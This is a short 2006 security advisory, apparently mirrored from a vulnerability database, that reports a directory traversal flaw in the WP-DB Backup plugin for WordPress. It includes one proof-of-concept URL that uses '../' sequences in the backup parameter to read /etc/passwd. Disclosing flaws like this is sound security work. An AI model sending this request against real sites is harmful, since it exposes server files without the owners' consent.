Wordpress WP-DB Backup Plugin Directory Traversal Vulnerability

2006-08-15T00:00:00
ID SECURITYVULNS:DOC:13899
Type securityvulns
Reporter Securityvulns
Modified 2006-08-15T00:00:00

Description

Hi all,

Software: WP-DB Backup Plugin for Wordpress

Homepage: http://www.skippy.net/blog/category/wordpress/plugins/wp-db-backup/

Description: WP-DB Backup is vulnerable to directory traversal attack. You must have administrator rights in the wordpress blog to exploit this vulnerability.

PoC: http://path-to-wordpress/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../etc/passwd

Credits: marc & shb from ssteam are credited with discoverying this vulnerability.

Vendor: not contacted.

-- Coolest IT security blog: http://ssteam.ath.cx